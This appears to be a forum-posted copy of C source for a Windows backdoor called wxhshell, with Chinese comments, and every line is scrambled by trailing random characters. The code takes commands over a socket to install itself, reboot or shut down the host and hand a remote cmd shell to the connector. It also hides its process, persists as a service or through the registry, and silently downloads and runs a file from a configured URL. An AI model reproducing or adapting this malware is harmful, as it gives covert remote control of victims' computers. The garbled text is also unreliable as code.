  brWt  
  // 帮助 =S,<yQJ  
  case '?': { 9o`3g@6z  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X\%3uPQ  
    break; GLyh1qNX  
  } -+> am?  
  // 安装 u i1m+  
  case 'i': { RHbwq]  
    if(Install()) w.f [)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9YABr> ?  
    else $b} +5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #pfosC[  
    break; JyO lVs<T  
    } 7%"7Rb^@  
  // 卸载 sXxO{aeev  
  case 'r': { GHY>DrXO1u  
    if(Uninstall()) U4gJ![>5j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); N3p3"4_]fy  
    else rRYf.~UH@P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V{{x~Q9  
    break; 3iw9jhK!W  
    } $ *A3p  
  // 显示 wxhshell 所在路径 IJ; *N  
  case 'p': { Ks(U]G"V  
    char svExeFile[MAX_PATH]; &v,p_'k  
    strcpy(svExeFile,"\n\r"); hT"K}d;X  
      strcat(svExeFile,ExeFile); OWsYE?  
        send(wsh,svExeFile,strlen(svExeFile),0); 3G^Ed)JvE  
    break; H%]ch6C  
    } kqw? X{  
  // 重启 [[Z>(d$8  
  case 'b': { /&7Yi_]r  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (_ah~VnO  
    if(Boot(REBOOT)) (+dRD] |T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 3:1 c_   
    else { u(702S4  
    closesocket(wsh); ^ {f ^WL=  
    ExitThread(0); IviQ)h p  
    } &,]+>  
    break; bq-\'h f<  
    } *(B[J  
  // 关机 "|`9{/]  
  case 'd': { tL{~O=  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !U:s.^{  
    if(Boot(SHUTDOWN)) bK9~C" k  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); |wQZ~Ux:  
    else { [oLQd-+  
    closesocket(wsh); !!%[JR)cS  
    ExitThread(0); DAHf&/J K  
    } Eu.qA9,@U  
    break; =@=R)C4f*  
    } 6xh#;+e }  
  // 获取shell K/v-P <g  
  case 's': { e-3pg?M  
    CmdShell(wsh); ?0<INS~  
    closesocket(wsh); !r obau7  
    ExitThread(0); E(kpK5h{  
    break; (!5}" fj  
  } <<5 :zlb  
  // 退出 8:?Q(M7  
  case 'x': { Z !25xqNCd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =GKYroNM  
    CloseIt(wsh); XqS*;Zj0  
    break; F%Umau*1  
    } V,"iMo  
  // 离开 a& aPBv1  
  case 'q': { 0k 0c   
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]!G>8Rc  
    closesocket(wsh); _JJKbi  
    WSACleanup(); \*!%YTZ~  
    exit(1); R|J>8AL}BY  
    break; [S&O-b8A  
        } *r,&@UB  
  } :8Ts'OGwI  
  } eO PCYyN  
k.xv+^b9Q  
  // 提示信息 @*O{*2  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QC5f:BwM  
} ^Z4q1i)JO  
  } l3?,gd.-  
Rk jKIa  
  return; :Mu8W_  
} &Dg)"Xji  
u4,X.3V]A  
// shell模块句柄 b}&7~4zw  
int CmdShell(SOCKET sock) +}XL>=-5  
{ ciGpluQF  
STARTUPINFO si; N!Wq}#&l  
ZeroMemory(&si,sizeof(si)); u~- fK'/!|  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QB3d7e)8>  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; }d3N`TT  
PROCESS_INFORMATION ProcessInfo; {_toh/8)r  
char cmdline[]="cmd"; #w,WwL!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); oz0n$`O$/  
  return 0; R!k<l<9q  
} +.(}u ,:8  
JdUz!=I  
// 自身启动模式 r5!x,{E6  
int StartFromService(void) ^o6)[_L  
{ SXo[[ao  
typedef struct OT}Yr9h4  
{ O`[iz/7m  
  DWORD ExitStatus; yEpN,A  
  DWORD PebBaseAddress; $mI:Im`s  
  DWORD AffinityMask; ZA_zKJ[[7  
  DWORD BasePriority; nze1]3`  
  ULONG UniqueProcessId; g"!#]LLe  
  ULONG InheritedFromUniqueProcessId; ,;cel^.b  
}   PROCESS_BASIC_INFORMATION; }]g95xT  
]Z$TzT&@%  
PROCNTQSIP NtQueryInformationProcess; (O_t5<A*X  
2Z;`#{  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; mU3Y)  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4)odFq:  
*pb:9JKi  
  HANDLE             hProcess; N5f0| U&  
  PROCESS_BASIC_INFORMATION pbi; tf7v5iGe  
<5ft6a2fQ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %eJ\d?nw  
  if(NULL == hInst ) return 0; J|"nwY}a9  
(Q@+v<   
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 3KZ y H  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <=m 30{;f  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); .YjrV+om1  
i{|lsd(+  
  if (!NtQueryInformationProcess) return 0; BbXU| QtY  
dI_r:xN  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ~X~xE]1o|U  
  if(!hProcess) return 0; iz9\D*or  
}c35FM,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _z<Y#mik  
cVB|sYdf  
  CloseHandle(hProcess); k_K,J 6_)  
e+F}9HR7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); j(Fa=pi  
if(hProcess==NULL) return 0; /zl3&~4  
OAW=Pozr9  
HMODULE hMod; jiwpDB&[  
char procName[255]; k(-Z@   
unsigned long cbNeeded; CQBT::  
C7b 5%a!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 95$pG/o  
@zr8%8n  
  CloseHandle(hProcess); o <D3Y95b  
7wiK.99  
if(strstr(procName,"services")) return 1; // 以服务启动 Q\o$**+{  
RRS~ xOg  
  return 0; // 注册表启动 %\X P:  
} !cN?SGafZI  
;Na8 _}  
// 主模块 nW $A^  
int StartWxhshell(LPSTR lpCmdLine) %z-dM` i  
{ f[JI/H>  
  SOCKET wsl; d s|8lz,  
BOOL val=TRUE; ?jNF6z*M6  
  int port=0; w69>tC  
  struct sockaddr_in door; wGOMUWAt  
?JXBWB4  
  if(wscfg.ws_autoins) Install(); 670J{b  
q)K-vt)98  
port=atoi(lpCmdLine); OH$ F >wO  
eW%L$I  
if(port<=0) port=wscfg.ws_port; %;pD8WgJA  
C 'B4 mmC  
  WSADATA data; ilDJwZg#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'GV&]   
LKR==;qn  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   "xD}6(NL(r  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); DL'd&;6  
  door.sin_family = AF_INET; T>\nWancQM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); %PQldPL8  
  door.sin_port = htons(port); u;+%Qh  
?G4iOiyt  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c&Gz> L  
closesocket(wsl); kF(Ce{;z  
return 1; K,x$c %  
} tr}KPdE  
K[Y c<Q  
  if(listen(wsl,2) == INVALID_SOCKET) { z3^RUoGU  
closesocket(wsl); X+`ddX  
return 1; -@%t"8  
} U9<_6Bsd  
  Wxhshell(wsl); _-@ZOhw&  
  WSACleanup(); n\Z^K  
tv 4s12&  
return 0; Fy 4Tvg  
*oEv,I_  
} `j"4:  
]{K5zSK  
// 以NT服务方式启动 zo_k\K`{@  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) /lf\ E=  
{ "%:7j!#X|I  
DWORD   status = 0; E=;BI">.  
  DWORD   specificError = 0xfffffff; Xy[}Gp  
Z -pyFK\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; jmRhAJV  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h^%GE;N  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =RQ )$ %  
  serviceStatus.dwWin32ExitCode     = 0; IM[54_I  
  serviceStatus.dwServiceSpecificExitCode = 0; 8BHL  
  serviceStatus.dwCheckPoint       = 0; G+ :bL S#:  
  serviceStatus.dwWaitHint       = 0; P-[fHCg~  
(YAI,Xnw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); jZa25Z00  
  if (hServiceStatusHandle==0) return; OF-E6bc  
K{|w 43>D  
status = GetLastError(); I_:t}3s  
  if (status!=NO_ERROR) uPFRh~ (b  
{  G5!|y#T  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ov1Wr#s  
    serviceStatus.dwCheckPoint       = 0; NV:>a  
    serviceStatus.dwWaitHint       = 0; Mx^y>\X)v  
    serviceStatus.dwWin32ExitCode     = status; kX igX-  
    serviceStatus.dwServiceSpecificExitCode = specificError; USE   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ah 4kA LO  
    return; P\.WXe#j  
  } .H Fc9^.*  
c L?\^K)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D._{E*vg  
  serviceStatus.dwCheckPoint       = 0; k& OC&  
  serviceStatus.dwWaitHint       = 0; l<$rqz3D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); D`V6&_. p  
} +z+ F-  
a4%`"  
// 处理NT服务事件,比如:启动、停止 mRwXN*Izw  
VOID WINAPI NTServiceHandler(DWORD fdwControl) sjSi;S4  
{ ]t*33  
switch(fdwControl) :b"= KQ  
{ M#ZT2~+CT  
case SERVICE_CONTROL_STOP: M#`{>R|  
  serviceStatus.dwWin32ExitCode = 0; <sa #|Y$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; <[bQo&B2 E  
  serviceStatus.dwCheckPoint   = 0; JK[T]|G  
  serviceStatus.dwWaitHint     = 0; pV8[l)J  
  { }(m1ql  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4/b(Y4$,[r  
  } 5n:nZ_D  
  return; !zU/Hq{wcK  
case SERVICE_CONTROL_PAUSE: xf'LR[M  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; miwf&b  
  break; : -E,   
case SERVICE_CONTROL_CONTINUE: wc"9A~  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; u',b1 3g(  
  break; 5;}2[3}[  
case SERVICE_CONTROL_INTERROGATE: M Z2^@It  
  break; Ys-^7 y_  
}; -jFP7tEv  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?qy*s3 j'M  
} [@ILc*2O  
ebzzzmwo  
// 标准应用程序主函数  1y 7y0V  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X|,["Az 8  
{ )GK+  
!-7_ +v>  
// 获取操作系统版本 \]t]#D>0  
OsIsNt=GetOsVer(); 5~QhX22  
GetModuleFileName(NULL,ExeFile,MAX_PATH); nkTYWw  
^ s=*J=k  
  // 从命令行安装 lHcA j{6  
  if(strpbrk(lpCmdLine,"iI")) Install(); <&`:&7  
WX LK89ev\  
  // 下载执行文件 E!uJ6\  
if(wscfg.ws_downexe) { emA.{cVr!  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V- /YNRV  
  WinExec(wscfg.ws_filenam,SW_HIDE); kY=rz&?U  
} }4Zkf<#7$  
f`,-b  
if(!OsIsNt) { 5lGQ#r  
// 如果时win9x,隐藏进程并且设置为注册表启动 7"#f!.E  
HideProc(); d)\2U{  
StartWxhshell(lpCmdLine); |88CBiu}  
} uj)yk*  
else Cpe#[mE  
  if(StartFromService()) +N7"EROc  
  // 以服务方式启动 w\Iqzpikr  
  StartServiceCtrlDispatcher(DispatchTable); vf[&7n  
else \Y+")  
  // 普通方式启动 w=|py>%  
  StartWxhshell(lpCmdLine); wE?CvL  
7N| AA^I  
return 0; B@"J]S  
}
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只看该作者 1 发表于: 2006-10-10
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